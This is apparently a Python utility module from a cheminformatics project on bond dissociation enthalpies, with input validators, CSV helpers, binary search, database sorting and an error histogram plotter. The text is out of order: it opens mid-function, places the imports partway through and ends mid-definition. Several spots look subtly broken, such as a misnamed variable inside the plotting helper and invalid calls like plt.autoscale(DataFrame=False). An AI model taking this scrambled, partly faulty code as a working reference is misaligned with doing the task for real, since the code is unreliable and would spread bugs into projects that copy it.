infiniteCheck: if not isChecked: if isinstance(indexArray[counter], (int, np.integer)): if indexArray[counter] < 0: raise TypeError(f"indexArray[counter]={indexArray[counter]} should be positive integer.") isChecked = True if idx == indexArray[counter]: counter += 1 isChecked = False else: array.append(idx) return array @MeasureExecutionTime def ArrangeDatabase(database: ndarray, BaseColumn: int, ExtensionColumn: Optional[int] = None, ExtensionMode: str = 'sort', *args, **kwargs) -> ndarray: """ Implementation of arranging the database from top to bottom :param database: The dataset needs to be sorted :type database: ndarray :param BaseColumn: The first column index (positive) to arranging :type BaseColumn: int :param ExtensionColumn: The column index (positive) to arranging :type ExtensionColumn: int :param ExtensionMode: Either 'arrange' or 'sort' is acceptable :type ExtensionMode: int :return: ndarray """ # Hyper-parameter Verification if True: if not inputFastCheck(value=database, dtype='ndarray'): database = np.asarray(database) inputCheckRange(value=BaseColumn, name='BaseColumn', maxValue=database.shape[1], minValue=0) inputCheckRange(value=ExtensionColumn, name='ExtensionColumn', maxValue=database.shape[1], minValue=0, allowNoneInput=True) inputFullCheck(value=ExtensionMode, name='ExtensionMode', dtype='str') if ExtensionMode not in ['sort', 'arrange']: raise ValueError("Unable to perform further implementation") # [1]: Retrieve the structure of the data hashtable: Dict[str, List[int]] = {} BaseStructure = GetIndexOnArrangedData(database=database, column=BaseColumn, get_last=False) for row, value in BaseStructure: try: hashtable[row].append(value) except (IndexError, ValueError): hashtable[row] = [value] # [2]: If found duplicate value, we search and rearranged by the following structure if len(hashtable) != len(BaseStructure): size: int = database.shape[1] rowLine: List[int] = [0] * size maskLine: List[bool] = [False] * len(BaseStructure) counter: int = 0 for row, value in BaseStructure: if maskLine[row]: # If it has been found previously, skip it continue combinationList: List[int] = hashtable[value] for combination in combinationList: maskLine[combination] = True for line in range(combination, size): if database[line] != value: break rowLine[counter] = line counter += 1 database: ndarray = database[rowLine, :] if ExtensionColumn is None: return database if ExtensionMode == 'sort': return SortWithIdx(database=database, IndexCol=BaseColumn, SortCol=ExtensionColumn, *args, **kwargs) hashtable.clear() BaseStructure.clear() gc.collect() # [3]: If we provide the extension_column BaseStructure = GetIndexOnArrangedData(database=database, column=BaseColumn, get_last=True) for i in range(0, len(BaseStructure) - 1): START, END = BaseStructure[i][0], BaseStructure[i + 1][0] database[START:END, :] = ArrangeDatabase(database=database[START:END, :], BaseColumn=ExtensionColumn, ExtensionColumn=None) return database def ArrangeDatabaseByFile(FilePath: str, Output: str = None, BaseColumn: int = 0, ExtensionColumn: Optional[int] = None, ExtensionMode: str = 'sort', FileExport: bool = True, *args, **kwargs) -> pd.DataFrame: value, columns = ReadFile(FilePath=FilePath, header=0, get_values=True, get_columns=True) value = ArrangeDatabase(value, BaseColumn, ExtensionColumn, ExtensionMode, *args, **kwargs) DataFrame = pd.DataFrame(data=value, index=None, columns=columns) _Export_(dataFrame=DataFrame, overlap_directory=FilePath, new_directory=Output, status=FileExport) return DataFrame def EvaluateInputPosition(maxSize: int, **kwargs) -> None: inputCheckRange(value=maxSize, name='maxSize', minValue=0, maxValue=None, allowNoneInput=True) stack: List[Optional[Union[int, Tuple[int, int]]]] = [] for key, value in kwargs.items(): inputFullCheck(value=value, name=key, dtype='int-List-Tuple-None', delimiter='-') if isinstance(value, int): inputCheckRange(value=value, name=key, minValue=0, maxValue=maxSize, allowNoneInput=False, rightBound=False, leftBound=True) stack.append(value) elif value is None: stack.append(value) elif isinstance(value, (List, Tuple)): inputCheckIterableInRange(value=value, name=key, minValue=0, maxValue=maxSize, maxInputInside=2, allowNoneInput=False, rightBound=False, leftBound=True) stack.append(value[0]) stack.append(value[1]) if len(set(stack)) != len(stack): raise ValueError("Your input cannot contain duplicate") return None def ComputeErrorHistogram(data: pd.DataFrame, error_column: Union[str, int], index_column: Union[str, int] = None, interval: float = 0.25, maximum_benchmark: float = 5.0, x_axis: str = "Error (kcal/mol)", y_axis: str = "Counting", title: str = "Error Histogram") -> None: """ Implementation of error histogram :param data: The computed dataset which has stored error (pd.DataFrame). :type data: pd.DataFrame :param error_column: The value of the error column in the DataFrame. :type error_column: str or int :param index_column: The value of the index column in the DataFrame (usually bond type) (default to be None). If None, all bond type is not in difference consideration :type index_column: str or int :param interval: The difference between each column of error analysis (positive input) :type interval: float or int :param maximum_benchmark: The benchmark where exceeding this, all of the value over them will be analyzed here. :type maximum_benchmark: float or int :param x_axis: The name of the x-axis :type x_axis: str :param y_axis: The name of the y-axis :type y_axis: str :param title: The name of the title :type title: str :return: None """ # Hyper-parameter Verification def inputCheckColumn(column: Union[str, int], name: str, df: pd.DataFrame) -> str: inputFullCheck(value=column, name=name, dtype='str-int', delimiter='-') if inputFastCheck(value=column, dtype='int'): inputCheckRange(value=column, name=name, maxValue=df.values.shape[1], minValue=0, fastCheck=True) return df.columns[column] elif inputFastCheck(value=column, dtype='str'): if column not in list(df.columns): raise ValueError(f"error_column must be was not inside the DataFrame ({column})") return column if True: inputFullCheck(value=data, name='data', dtype='DataFrame') inputCheckColumn(column=error_column, name='error_column', df=data) if index_column is not None: inputCheckColumn(column=index_column, name='index_column', df=data) inputFullCheck(value=error_column, name='error_column', dtype='str-int', delimiter='-') if x_axis is None: x_axis = "Error (kcal/mol)" else: inputFullCheck(value=x_axis, name='x_axis', dtype='str') if y_axis is None: y_axis = "Counting" else: inputFullCheck(value=y_axis, name='y_axis', dtype='str') if title is None: title = "Error Histogram" else: inputFullCheck(value=title, name='title', dtype='str') inputFullCheck(value=interval, name='interval', dtype='int-float', delimiter='-') if interval <= 0: warning(" Your interval is negative. Change to default (0.25)") interval = 0.25 inputFullCheck(value=maximum_benchmark, name='maximum_benchmark', dtype='int-float', delimiter='-') if maximum_benchmark <= 0: warning(" Your maximum_benchmark is negative. Change to default (5)") maximum_benchmark = 5 if maximum_benchmark < interval: raise ValueError(" Maximum benchmark must exceed the interval") pass import matplotlib.pyplot as plt def call(DataFrame, objectType: Optional[str], bound: List[float]): plt.clf() plt.autoscale(DataFrame=False) plt.hist(DataFrame, bins=bound, alpha=0.75, color='red', rwidth=0.85) plt.xlabel(str(x_axis)) plt.ylabel(str(y_axis)) plt.title(str(title) if object_type is None else str(title) + f"({objectType})") plt.xlim(0, bound[- 1]) plt.show() edge = [interval * index for index in range(0, int((maximum_benchmark + interval) // interval))] + \ [maximum_benchmark + interval] if index_column is None: dataframe = data[error_column].values dataframe[dataframe > maximum_benchmark] = maximum_benchmark + interval / 2 call(DataFrame=dataframe, objectType=None, bound=edge) else: modified_data = data[[index_column, error_column]].values modified_data = ArraySorting(database=modified_data, column=0, reverse=False) index_array = GetIndexOnArrangedData(database=modified_data, column=0, get_last=True) for i in range(0, len(index_array) - 1): copy = modified_data[index_array[i]:index_array[i + 1], 1] copy[copy > maximum_benchmark] = maximum_benchmark + interval / 2 object_type = index_array[i][1] call(DataFrame=copy, objectType=object_type, bound=edge) return None # ------------------------------------------------------------------------------------------------------------------- # [6]: Function used for further extension: Checking data type def OptimizeIntegerDatatypeByShape(shape: Union[Tuple, List]) -> np.dtype: minimum, maximum = min(shape), max(shape) if not inputFastCheck(minimum, dtype='int') or not inputFastCheck(maximum, dtype='int'): raise TypeError(f"Float value has been found. Please check your object_shape ({shape})") if minimum >= 0: np_dtype = (np.uint8, np.uint16, np.uint32, np.uint64) else: np_dtype = (np.int8, np.int16, np.int32, np.int64) highest_point = max(abs(minimum), abs(maximum)) for search_dtype in np_dtype: if highest_point <= np.iinfo(search_dtype).max: return np.dtype(search_dtype) return np.dtype(np_dtype[-2]) @MeasureExecutionTime def convertNumpyDenseToScipySparse(data: Union[ndarray, coo_matrix, spmatrix], tuned_up: bool = True, sparse_format: str = "coo") -> spmatrix: if inputFastCheck(data, dtype='coo_matrix-spmatrix', delimiter='-'): return data if not inputFastCheck(data, dtype='ndarray'): warning(f" The current input data was not np.ndarray (!= {type(data)})") data: ndarray = np.array(data, dtype=np.uint8) inputFullCheck(value=tuned_up, name='tuned_up', dtype='bool') if sparse_format not in ("coo", "csr", "csc"): raise TypeError("sparse_format should be in coo, csc, csr format") func = coo_matrix if sparse_format == "csr": func = csr_matrix elif sparse_format == "csc": func = csc_matrix sparseMatrix: spmatrix = func(data, shape=data.shape, dtype=data.dtype) if not tuned_up: return sparseMatrix if inputFastCheck(sparseMatrix, dtype='coo_matrix'): sparseMatrix.col = sparseMatrix.col.astype(OptimizeIntegerDatatypeByShape([sparseMatrix.shape[1]])) sparseMatrix.row = sparseMatrix.row.astype(OptimizeIntegerDatatypeByShape([sparseMatrix.shape[0]])) else: sparseMatrix.indices = sparseMatrix.indices.astype(OptimizeIntegerDatatypeByShape([sparseMatrix.indices.shape])) sparseMatrix.indptr = sparseMatrix.indptr.astype(OptimizeIntegerDatatypeByShape([sparseMatrix.indptr.shape])) return sparseMatrix def checkNumpyUnsignedIntegerDtype(dtype) -> bool: integer = [np.unsignedinteger, np.uint8, np.uint16, np.uint32, np.uint64, np.ulonglong] for dt in integer: if dtype == dt: return True return False def checkNumpySignedIntegerDtype(dtype) -> bool: integer = [np.signedinteger, np.int8, np.int16, np.int32, np.int64, np.longlong] for dt in integer: if dtype == dt: return True return False def checkNumpyIntegerDtype(dtype) -> bool: if checkNumpyUnsignedIntegerDtype(dtype): return True return checkNumpySignedIntegerDtype(dtype) def checkNumpyFloatingDtype(dtype) -> bool: floating = [np.float16, np.float32, np.float64, np.float96, np.float128, np.float_] for dt in floating: if dtype == dt: return True return False def checkNumericNumpyDtype(dtype) -> bool: if checkNumpyIntegerDtype(dtype): return True return checkNumpyFloatingDtype(dtype) def checkNumpyDtype(dtype) -> bool: arr = (np.integer, np.floating, np.inexact, np.complexfloating, np.bool_, np.timedelta64, np.object_, np.flexible, np.bytes_) return isinstance(dtype, arr) def optimizePandasDatatype(df: pd.DataFrame) -> NotImplementedError: raise NotImplementedError def checkIsPrimitiveType(value) -> bool: return isinstance(value, (str, int, float, bool)) or value is None
import gc from logging import warning from time import perf_counter from typing import Callable, List, Optional, Tuple, Union, Set, Dict, Any import numpy as np import pandas as pd from numpy import ndarray from scipy.sparse import coo_matrix, spmatrix, csc_matrix, csr_matrix from .coreConfig import EXTRA_LIBRARY def checkCompatibility(): from rdkit import __version__ as rdkit_version from sklearn import __version__ as sklearn_version from tensorflow import __version__ as tf_version np_major, np_minor, np_patch = np.__version__.split(".") pd_major, pd_minor, pd_patch = pd.__version__.split(".") rdkit_major, rdkit_minor, rdkit_patch = rdkit_version.split(".") sklearn_major, sklearn_minor, sklearn_patch = sklearn_version.split(".") tf_major, tf_minor, tf_patch = tf_version.split(".") if not (int(np_major) == 1 and int(np_minor) >= 18): raise ImportWarning(f"Numpy version is relatively low ({np.__version__}). Please upgrade into version at " f"least 1.18+. Try version 1.20.3") if not (int(pd_major) == 1 and int(pd_minor) >= 2): raise ImportWarning(f"Pandas version is relatively low ({pd.__version__}). Please upgrade into version at " "least 1.2.x. Try version 1.2.4") if not (int(sklearn_major) == 0 and int(sklearn_minor) >= 23): raise ImportWarning(f"Scikit-Learn version is relatively low ({sklearn_version}). Please upgrade into version " f"at least 0.23.x. Try version 0.24.x+") if not ((int(rdkit_major) == 2020 and int(rdkit_minor) == 9) or int(rdkit_major) >= 2021): raise ImportError(f"RDKit version is relatively low ({rdkit_version}). Please upgrade into version at " "least 2020.09.x") if not (int(tf_major) == 2 and int(tf_minor) >= 3): raise ImportError(f"TensorFlow version is relatively low ({tf_version}). Please upgrade into version 2.3.x") try: from dask import __version__ as dask_version dask_major, dask_minor, dask_patch = dask_version.split(".") if not (int(dask_major) == 2021 and int(dask_minor) == 4): raise ImportWarning(f" Dask version is relatively low ({dask_version}). Please upgrade into version at " f"least 2021.04.x. Try version 2021.04.x") except (ImportError, ImportWarning): pass def Acknowledgements(): from rdkit import __version__ as rdkit_version from sklearn import __version__ as sklearn_version from tensorflow import __version__ as tf_version print(f"Library Contribution:" f"\n\tNumpy ({np.__version__}): Give immediate access with low-time processing and low memory usage on " f"heavy-weight database (list/array) compared to Python List (C++, Fortran, CPython)." f"\n\tPandas ({pd.__version__}): Construct DataFrame to create .csv and make connection to scikit-learn " f"with low-time processing and low memory usage but it is a bit slower (1.2 - 1.5 - 2.0x slower) than Numpy." f"\n\tSciKit-Learn ({sklearn_version}): High Performance of Machine Learning techniques (C++, CPython)" f"\n\tRDKit ({rdkit_version}): Create sufficient data from SMILES Notation (C++, CPython)" f"\n\tTensorFlow ({tf_version}): integrated in TensorFlow") print("Main Article References: Prediction of organic homolytic bond dissociation enthalpies " "at near chemical accuracy with sub-second computational cost" "\n\tAuthors: Peter C. St. John, Yanfei Guan, Yeonjoon Kim, Seonah Kim & Robert S. Paton" "\n\tDOI: 10.1038/s41467-020-16201-z") print("Programming Language: Python 3.7.10 (PyCharm IDE 2020.03.1)" "\nSub-programming Language: C++, Fortran, CUDA, HTML, C") # ------------------------------------------------------------------------------------------------------------------- # [1]: Checking DataType __CALLER: str = "Python built-in" DATA_TYPE_CACHE_CHECK: Dict[str, List] = \ {"str": [str, f"{__CALLER} string"], "int": [int, f"{__CALLER} integer string"], "bool": [bool, f"{__CALLER} boolean"], "float": [float, f"{__CALLER} float"], "List": [List, f"{__CALLER} list"], "Tuple": [Tuple, f"{__CALLER} tuple"], "Dict": [Dict, f"{__CALLER} dictionary"], "Set": [Set, f"{__CALLER} set"], "Slice": [slice, f"{__CALLER} slice"], "None": [None, f"{__CALLER} NoneType object"], "Callable": [Callable, f"method/function"], "DataFrame": [pd.DataFrame, f"Pandas DataFrame"], "Index": [pd.Index, f"Pandas Index"], "coo_matrix": [coo_matrix, f"Scipy coo_matrix"], "spmatrix": [spmatrix, f"Scipy spmatrix"], "csc_matrix": [csc_matrix, f"Scipy DataFrame"], "csr_matrix": [csr_matrix, f"Scipy csr_matrix"], "ndarray": [ndarray, f"Numpy array"]} def inputFastCheck(value: Any, dtype: Optional[str], delimiter: Optional[str] = None) -> bool: if dtype is None or 'None' in dtype: if value is None: return True try: target = tuple([DATA_TYPE_CACHE_CHECK[key][0] for key in dtype.split(delimiter)]) \ if delimiter is not None else DATA_TYPE_CACHE_CHECK[dtype][0] if isinstance(target, Tuple): if None in target: if value is None: return True return isinstance(value, tuple([checkDtype for checkDtype in target if checkDtype is not None])) return isinstance(value, target) except (ValueError, KeyError, IndexError, TypeError): warning("Unable to check your value properly as basic datatype input is unavailable.") return False def inputFullCheck(value: Any, name: str, dtype: Optional[str], delimiter: Optional[str] = None, warning_only: bool = False, fastCheck: bool = False) -> bool: """ Used to check parameter in a single shot. Return boolean value whether it passed the test if warning_only=True; else, raise TypeError :param value: The value needed to be checked :type value: Any :param name: The value needed for display :type name: str :param dtype: The dtype needed for checking. If multiple data type must be checked in one instance, delimiter = None :type dtype: str :param delimiter: if provided, multiple data types will be checked in one calling by string separation :type delimiter: str :param warning_only: if True, no TypeError made; instead warning called :type warning_only: bool :param fastCheck: if True, skip some checking. Only used when you type correct input :type fastCheck: bool :return: bool """ if not inputFastCheck(value=fastCheck, dtype='bool'): raise TypeError(f"Fast Checking should be {DATA_TYPE_CACHE_CHECK['bool'][1]}") if fastCheck: if value is None: if dtype is None: return True elif dtype.find("None") != -1: return True else: if not inputFastCheck(value=name, dtype='str'): raise TypeError(f"Input Name should be {DATA_TYPE_CACHE_CHECK['str'][1]}") if dtype is not None: if not inputFastCheck(value=dtype, dtype='str'): raise TypeError(f"Input Data Type should be {DATA_TYPE_CACHE_CHECK['str'][1]}") elif value is None: # dtype is None return True if not inputFastCheck(value=delimiter, dtype='str') and delimiter is not None: raise TypeError(f"Input Delimiter should be {DATA_TYPE_CACHE_CHECK['str'][1]} or NoneType object") if not inputFastCheck(value=warning_only, dtype='bool'): raise TypeError(f"warning_only={warning_only} should be {DATA_TYPE_CACHE_CHECK['bool'][1]}") outcome: bool = inputFastCheck(value=value, dtype=dtype, delimiter=delimiter) if outcome: return outcome target = tuple([DATA_TYPE_CACHE_CHECK[key][0] for key in dtype.split(delimiter)]) \ if delimiter is not None else DATA_TYPE_CACHE_CHECK[dtype][0] msg: str = f" {name} should be {__CALLER} {target} but not type: {type(value)}" if warning_only: warning(msg) return outcome raise TypeError(msg) def _checkLefty_(value: Union[int, float], minimumValue: Union[int, float], allowBoundary: bool) -> bool: return minimumValue <= value if allowBoundary else minimumValue < value def _checkRighty_(value: Union[int, float], maximumValue: Union[int, float], allowBoundary: bool) -> bool: return maximumValue >= value if allowBoundary else maximumValue > value def inputCheckRange(value: Union[int, float], name: str, maxValue: Optional[Union[int, float]], minValue: Optional[Union[int, float]] = 0, fastCheck: bool = False, allowNoneInput: bool = False, allowFloatInput: bool = False, warning_only: bool = False, leftBound: bool = True, rightBound: bool = False) -> bool: """ Used to check python built-in input parameter between a range [minValue, maxValue). Return boolean value whether it passed the test if warning_only=True; else, raise TypeError or ValueError""" inputFullCheck(value=fastCheck, name='fastCheck', dtype='bool', warning_only=False) if not fastCheck: if minValue is not None: inputFullCheck(value=minValue, name='minimum_value', dtype='int-float', delimiter='-', warning_only=False) if maxValue is not None: inputFullCheck(value=maxValue, name='maximum_value', dtype='int-float', delimiter='-', warning_only=False) inputFullCheck(value=name, name='name', dtype='str', warning_only=False) inputFullCheck(value=warning_only, name='warning_only', dtype='bool', warning_only=False) inputFullCheck(value=allowNoneInput, name='allowNoneInput', dtype='bool', warning_only=False) inputFullCheck(value=allowFloatInput, name='allowFloatInput', dtype='bool', warning_only=False) inputFullCheck(value=leftBound, name='leftBound', dtype='bool', warning_only=False) inputFullCheck(value=rightBound, name='rightBound', dtype='bool', warning_only=False) if allowNoneInput: if value is None: return True checking_datatype = 'int-float' if allowFloatInput else 'int' if minValue is None and maxValue is None: warning(f' {name}: Your value only be checked with the data type. Your input cannot be compared at any metric') return inputFullCheck(value=value, name=name, dtype=checking_datatype, delimiter='-') if maxValue is not None and minValue is not None: if minValue > maxValue: warning(f" {name}: Input range must be swapped to guarantee consistency") minValue, maxValue = maxValue, minValue if minValue is None: lBound = '(' else: lBound: str = '[' if leftBound else '(' if maxValue is None: rBound = '(' else: rBound: str = ']' if rightBound else ')' INF: str = 'INFINITE' if inputFastCheck(value=value, dtype=checking_datatype, delimiter='-'): msg: str = '' if minValue is not None and maxValue is None: if not _checkLefty_(value=value, minimumValue=minValue, allowBoundary=leftBound): msg: str = f"{name}={value} is out-of-range {lBound}{minValue}, {INF}{rBound}" elif minValue is None and maxValue is not None: if not _checkRighty_(value=value, maximumValue=maxValue, allowBoundary=rightBound): msg: str = f"{name}={value} is out-of-range {lBound}{INF}, {maxValue}{rBound}" else: if not (_checkLefty_(value=value, minimumValue=minValue, allowBoundary=leftBound) and _checkRighty_(value=value, maximumValue=maxValue, allowBoundary=rightBound)): msg: str = f"{name}={value} is out-of-range {lBound}{minValue}, {maxValue}{rBound}" if msg != '': if warning_only: warning(msg) return False raise ValueError(msg) else: note = "integer" if minValue is not None: if minValue >= 0: note = "positive integer" elif maxValue is not None: if maxValue <= 0: note = "negative integer" msg: str = f"{name}={value} must be a {note} {lBound}{minValue}, {maxValue}{rBound}" if allowNoneInput: msg = f"{msg} or None" if warning_only: warning(msg) return False raise ValueError(msg) return True def inputCheckIterableInRange(value: Union[ndarray, List, Tuple], name: str, maxValue: Optional[Union[int, float]], minValue: Optional[Union[int, float]] = 0, maxInputInside: int = 2, strictInput: bool = False, **kwargs) -> bool: # **kwargs: Argument need for function inputCheckRange inputFullCheck(value=value, name=name, dtype='List-Tuple', delimiter='-') inputFullCheck(value=strictInput, name='strictInput', dtype='bool') inputCheckRange(value=maxInputInside, name='len(value)', maxValue=len(value), minValue=0, rightBound=True) if strictInput: if len(value) != maxInputInside: raise ValueError(f"{name} should have only {maxInputInside} values") for idx, location in enumerate(value): inputCheckRange(value=location, name=f'{name}[{idx}]', maxValue=maxValue, minValue=minValue, **kwargs) return True # ------------------------------------------------------------------------------------------------------------------- # [2]: Decorator and Function used for warp-up def MeasureExecutionTime(Function: Callable) -> Callable: def compute(*args, **kwargs): start = perf_counter() result = Function(*args, **kwargs) print(f"Executing Time ({Function}): {perf_counter() - start:.6f}s") return result return compute def objectMemoryProfiler(Object: object, verbose: bool = True, sorting_mode: bool = True, descending: bool = True) -> pd.DataFrame: # Hyper-parameter Verification inputFastCheck(value=verbose, dtype='bool') inputFastCheck(value=sorting_mode, dtype='bool') inputFastCheck(value=descending, dtype='bool') from sys import getsizeof print("=" * 30, objectMemoryProfiler, "=" * 30) total: int = 0 np_total: int = 0 arr: List[List[str, str, int]] = [] for name in Object.__dict__: obj = getattr(Object, name) size = obj.nbytes if isinstance(obj, ndarray) else getsizeof(obj) total += size if isinstance(obj, ndarray): size = obj.nbytes np_total += size elif isinstance(obj, (coo_matrix, csc_matrix, csr_matrix, spmatrix)): if isinstance(obj, coo_matrix): size = obj.data.nbytes + obj.row.nbytes + obj.col.nbytes else: size = obj.data.nbytes + obj.indices.nbytes + obj.indptr.nbytes np_total += size if verbose and not sorting_mode: msg = f"{name} ({type(obj)}): \t\t\t\t{size} bytes --> Shape: {obj.shape}" \ if isinstance(obj, ndarray) else f"{name} ({type(obj)}): \t\t\t\t{size} bytes" print(msg) arr.append([name, type(obj), size]) if sorting_mode: arr.sort(key=lambda item: int(item[2]), reverse=descending) arr: pd.DataFrame = pd.DataFrame(data=arr, index=None, columns=["Name", "Type", "Byte Size"]) print(arr) print("-" * 80) percentage: float = np_total / total print(f"Attribute Memory: {total} bytes ({round(total / (1024 * 1024), 6)} MB)") print(f"Numpy Attribute Memory: {np_total} bytes ({round(np_total / (1024 * 1024), 6)} MB)" f" ---> Percentage: {round(100 * percentage, 6)} %") print(f"Remaining Memory: {total - np_total} bytes ({round((total - np_total) / (1024 * 1024), 6)} MB) " f"---> Percentage: {round(100 * (1 - percentage), 6)} %") return arr def TimingProfiler(Function: Callable): def compute(*args, **kwargs): from cProfile import Profile profiler = Profile() profiler.enable() result = Function(*args, **kwargs) profiler.disable() profiler.print_stats(sort=True) return result return compute # ------------------------------------------------------------------------------------------------------------------- # [3]: Function used for generating file and modifying filename def _StringValidation_(FileName: str, extension: str) -> None: inputFullCheck(value=FileName, name='FileName', dtype='str') inputFullCheck(value=extension, name='extension', dtype='str') def FixPath(FileName: str, extension: str) -> str: _StringValidation_(FileName=FileName, extension=extension) return f"{FileName}{extension}" if FileName.rfind(extension) != len(FileName) - len(extension) \ else FileName def RemoveExtension(FileName: str, extension: str) -> str: _StringValidation_(FileName=FileName, extension=extension) return FileName if FileName.rfind(extension) != len(FileName) - len(extension) \ else FileName[:len(FileName) - len(extension)] def ReadFile(FilePath: Optional[str], header: Optional[int] = 0, dtype=None, get_values: bool = False, get_columns: bool = False, nrows: Optional[int] = None, blocksize: Union[float, int] = 64e6, dtypes_memory_identifier: Union[float, int] = 1, usecols: Union[List[int], List[str]] = None, skiprows: Optional[Union[List, int]] = None) \ -> Optional[Union[pd.DataFrame, List[str], ndarray, Tuple[ndarray, List[str]]]]: """ Default implementation used to call a .csv documentation. 1 MiB = 2^10 KiB = 2^20 bytes = 1048576 bytes 1 MB = 10^3 KB = 10^6 bytes = 1000000 bytes :param FilePath: The path contained the .csv file. This hyper-parameter does not need extension name as it have to be checked directly before accessing pandas library (str). :type FilePath: str :param header: The position of column name used as label/features identifier (int). Default to 0. :type header: int :param dtype: pandas dtype // numpy.dtype :type dtype: dtype :param get_values: Whether to get values only :type get_values: bool :param get_columns: Whether to get columns only :type get_columns: bool :param nrows: number of rows for computing :type nrows: Optional[int] :param skiprows: number of rows or row's position for skipping :type skiprows: Optional[Union[List, int]] :param usecols: number of rows or row's position for skipping :type usecols: Optional[Union[List, int]] :param blocksize: The chunking memory for paralleling (Dask Library), Default to be 64 MB :type blocksize: float or int :param dtypes_memory_identifier: The coefficient memory adding when reading csv by Dask Library (default to be 1). Base case: 1 MiB (mebibytes) :type dtypes_memory_identifier: float or int :return: pd.DataFrame """ if True: if FilePath is None or FilePath == "": return None inputFullCheck(value=FilePath, name='FilePath', dtype='str') inputFullCheck(value=get_values, name='get_values', dtype='bool') inputFullCheck(value=get_columns, name='get_columns', dtype='bool') if not EXTRA_LIBRARY["Dask"] and not EXTRA_LIBRARY["Dask_activated"]: EXTRA_LIBRARY["Dask_activated"] = True try: import dask.dataframe as dd EXTRA_LIBRARY["Dask"] = True warning(" Dask is a great tool to replicate pandas.DataFrame with read_csv. In fact, this project " "leverage computation strength with memory by Numpy rather than Pandas. Switch default to Dask " "DataFrame") except (ImportError, ImportWarning): warning(" Dask is not in your environment. Switch to pandas (Memory & Time Consumption is larger).") pass FilePath: str = FixPath(FileName=FilePath, extension=".csv") File: Optional[pd.DataFrame] = None if EXTRA_LIBRARY["Dask"] and nrows != 1: try: import dask.dataframe as dd MiB: int = 1048576 File: pd.DataFrame = \ dd.read_csv(FilePath, dtype=dtype, header=header, low_memory=True, usecols=usecols, blocksize=blocksize, sample=int(MiB * dtypes_memory_identifier), cache_dates=False).compute() except (ValueError, MemoryError, ModuleNotFoundError): pass if File is None: File: pd.DataFrame = pd.read_csv(FilePath, dtype=dtype, nrows=nrows, skiprows=skiprows, usecols=usecols, header=header, low_memory=True, cache_dates=False) if not get_values and not get_columns: return File elif not get_values and get_columns: return File.columns.tolist() elif get_values and not get_columns: return File.values if inputFastCheck(File.values, 'ndarray') else np.array(File.values, dtype=dtype) return File.values if inputFastCheck(File.values, 'ndarray') else np.array(File.values, dtype=dtype), \ File.columns.tolist() def ExportFile(DataFrame: pd.DataFrame, FilePath: str, index: bool = False, index_label: Optional[str] = None) -> None: """ Default implementation used to return the .csv documentation from DataFrame :param DataFrame: The DataFrame needs for creating the .csv file (pd.DataFrame). :type DataFrame: pd.DataFrame :param FilePath: The path contained the .csv file. This hyper-parameter does not need extension name as it have to be checked directly before accessing pandas library (str). :type FilePath: str :param index: The implicit array-like used for row indexing (Array-like). Default to False :type index: List[str] or Tuple[str] or bool or List[int] or Tuple[int] :param index_label: The name of index column :type index_label: str or None :return: None """ if FilePath is None: return None inputFullCheck(value=DataFrame, name='DataFrame', dtype='DataFrame') DataFrame.to_csv(FixPath(FileName=FilePath, extension=".csv"), index=index, index_label=index_label) # ------------------------------------------------------------------------------------------------------------------- # [4]: Function used for data comparison # [4.1]: Base Cleaning method def BinarySearch(array_1d: Union[List, Tuple, ndarray], value: Union[int, str, float], getIndex: bool = False, raiseError: bool = False) -> Union[int, bool]: # This implementation is used to boost-up searching. # Binary Search for Large Array inputFullCheck(value=array_1d, name='array_1d', dtype='List-Tuple-ndarray', delimiter='-') inputFullCheck(value=value, name='value', dtype='int-str-float', delimiter='-') if inputFastCheck(value=array_1d, dtype='ndarray'): if array_1d.ndim != 1: raise ValueError(" Only works for 1D-array.") inputFullCheck(value=getIndex, name='getIndex', dtype='bool') inputFullCheck(value=raiseError, name='raiseError', dtype='bool') start, end = 0, len(array_1d) counter = 0 while start <= end: mid = (start + end) // 2 if end - start <= 1: counter += 1 if counter == 2: if not raiseError: return False if not getIndex else -1 raise ValueError(f"value ({value}) is not in the array") if value < array_1d[mid]: end = mid elif value > array_1d[mid]: start = mid elif value == array_1d[mid]: return True if not getIndex else mid if not raiseError: return False if not getIndex else -1 raise ValueError(f"value={value} is not in the array") def BinaryIndexing(array_1d: Union[List, Tuple, ndarray], value: Union[str, int, float], ascending: bool = True): inputFullCheck(value=array_1d, name='array_1d', dtype='List-Tuple-ndarray', delimiter='-') inputFullCheck(value=value, name='value', dtype='int-str-float', delimiter='-') inputFullCheck(value=ascending, name='ascending', dtype='bool') if len(array_1d) == 0: raise ValueError(" Binary Search do not allow empty array") left, right = 0, len(array_1d) - 1 if ascending: while left <= right: mid = (left + right) // 2 if right - left == 1: if value == array_1d[left]: return left elif value == array_1d[right]: return right if value < array_1d[mid]: right = mid elif value > array_1d[mid]: left = mid else: return mid else: while left <= right: mid = (left + right) // 2 if right - left == 1: if value == array_1d[right]: return right elif value == array_1d[left]: return left if value < array_1d[mid]: left = mid elif value > array_1d[mid]: right = mid else: return mid return None def _Export_(dataFrame: pd.DataFrame, overlap_directory: str, new_directory: str = None, status: bool = True) -> None: inputFullCheck(value=status, name='status', dtype='bool') if status: ExportFile(DataFrame=dataFrame, FilePath=overlap_directory if new_directory is None else new_directory) return None def _IsSingleBinaryUnique_(array_1d: ndarray) -> bool: inputFullCheck(value=array_1d, name='array_1d', dtype='ndarray') if array_1d[0] != array_1d[1]: return False return np.sum(array_1d, axis=-1) / array_1d.size == array_1d[0] def IsSingleUnique(array_1d: ndarray, binaryMode: bool = False, allowCache: bool = True) -> bool: inputFullCheck(value=allowCache, name='allowCache', dtype='bool') inputFullCheck(value=binaryMode, name='binaryMode', dtype='bool') inputFullCheck(value=array_1d, name='array_1d', dtype='ndarray-List-Tuple', delimiter='-') if binaryMode and inputFastCheck(array_1d, dtype='ndarray'): return _IsSingleBinaryUnique_(array_1d=array_1d) if inputFastCheck(value=array_1d, dtype='ndarray'): if array_1d.ndim != 1: raise ValueError(f"Accept 1D-array Only ({array_1d.ndim})") cache = array_1d.tolist() if allowCache else array_1d else: cache = array_1d first_value, size = cache[0], len(cache) for idx in range(1, size): if cache[idx] != first_value: del cache return False del cache return True def ArrayEqual(array_1: Union[ndarray, List, Tuple, pd.Index], array_2: Union[ndarray, List, Tuple, pd.Index], allowCache: bool = True) -> bool: """ Note that np.array_equal always result in O(2*N) or O(3*N) time complexity (depended on task dependency) as it have to ensure that all value in array should be converted into boolean matrix and validate using bool(np.asarray(a==b).all()). However, we want to reduce them the time complexity in the specific task only. Costing O(k) real-time complexity only with no extra space complexity O(1) compared to numpy.array_equal. """ inputFullCheck(array_1, name='array_1', dtype='List-Tuple-ndarray', delimiter='-') inputFullCheck(array_2, name='array_2', dtype='List-Tuple-ndarray', delimiter='-') if inputFastCheck(value=array_1, 